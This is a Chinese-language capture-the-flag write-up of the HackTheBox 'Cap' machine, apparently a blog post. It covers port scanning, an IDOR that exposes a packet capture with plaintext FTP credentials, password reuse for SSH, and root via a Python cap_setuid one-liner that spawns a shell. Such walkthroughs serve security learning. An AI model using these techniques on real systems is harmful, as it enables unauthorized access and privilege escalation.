HackThe Box--Cap

Cap 测试过程

一 信息收集

端口扫描

nmap -sC -sV 10.129.14.251

在这里插入图片描述

80 端口测试

访问 80 端口处于认证后的页面,登录用户为 Nathon;web 应用程序中发现 4 个功能点。Dashboard、IP Config、Security Snopshot、Network Status

1.Dashboard 页面是一个仪表盘,除数据展示外没有其他利用点

在这里插入图片描述

2.Security Snopshot,页面返回数据包个数及类型,并且通过 URL 发现,在/data/number,number不同时,响应包会发生变化,并且流量包是可以 Download

在这里插入图片描述

3.IP Config页面返回 IP 地址

在这里插入图片描述

4.Network Status 类似于执行 netstat命令

在这里插入图片描述


二 IDOR

IDOR漏洞全称为Insecure Direct Object Reference(不安全的直接对象引用),是一种越权漏洞,主要发生在应用程序的访问控制逻辑中。其原理是攻击者通过篡改对象的标识符,绕过权限验证,访问到不应该被其访问的资源。

在/data/number中,number不同时,响应包会发生变化,针对 Security Snopshot 页面进行测试,在访问 /data/0 时,响应出现大量数据包,下载数据包,并访问

在这里插入图片描述

使用 wireshark 观察数据包,发现FTP 协议的请求包存在明文的用户名和密码 nathan:Buck3tH4TF0RM3!,可以进行 FTP 登录

在这里插入图片描述

在这里插入图片描述

密码复用

在成功登录 FTP 后,尝试是否可以进行 SSH 登录,如果系统存在账号密码复用的情况,那我们就可以使用 FTP 账号密码成功连接到 SSH

(base) gryphon@wsdl HTB %ssh nathan@10.129.14.251
nathan@10.129.14.251's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Aug 24 09:04:33 UTC 2024
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
nathan@cap:~$ 

三 权限提升

本地开启 Httpserver 服务,上传 linpeas.sh 文件到服务器,并赋予执行权限,进行信息收集

在这里插入图片描述

chmod +x linpeas.sh
./linpeas.sh

在这里插入图片描述

响应中发现 /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

参数说明
• setcap: 设置文件的 Linux 能力。
• cap_setuid: 允许改变用户 ID 的能力。
• cap_net_bind_service: 允许绑定到小于1024的特权端口。
• +eip:
• e: 有效(Effective),即能力被进程有效地使用。
• i: 继承(Inherited),即该能力能被子进程继承。
• p: 允许(Permitted),即该能力可以被进程启用。
效果:
这条命令将使 /usr/bin/python3.8 具有以下能力:
1. cap_setuid: 允许 Python 进程更改其用户 ID,这意味着可以在脚本中更改进程的权限。
2. cap_net_bind_service: 允许 Python 绑定到小于1024的端口(例如,HTTP 80端口或HTTPS 443端口),通常这些端口只能由 root 用户绑定。

如果二进制文件具有 Linux CAP_SETUID功能集或者由具有该功能集的另一个二进制文件执行,则可以将其用作后门,通过操纵其自己的进程 UID 来维持特权访问。

那如果 /usr/bin/python3.8 具有 root 权限,就可以通过设置 cap_setuid=0(uid=0 为 root 权限) 获取到 root 权限

查看 python 的权限为 root 权限,那就可以直接通过以下命令设置 uid=0 获取 root 权限

在这里插入图片描述

python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值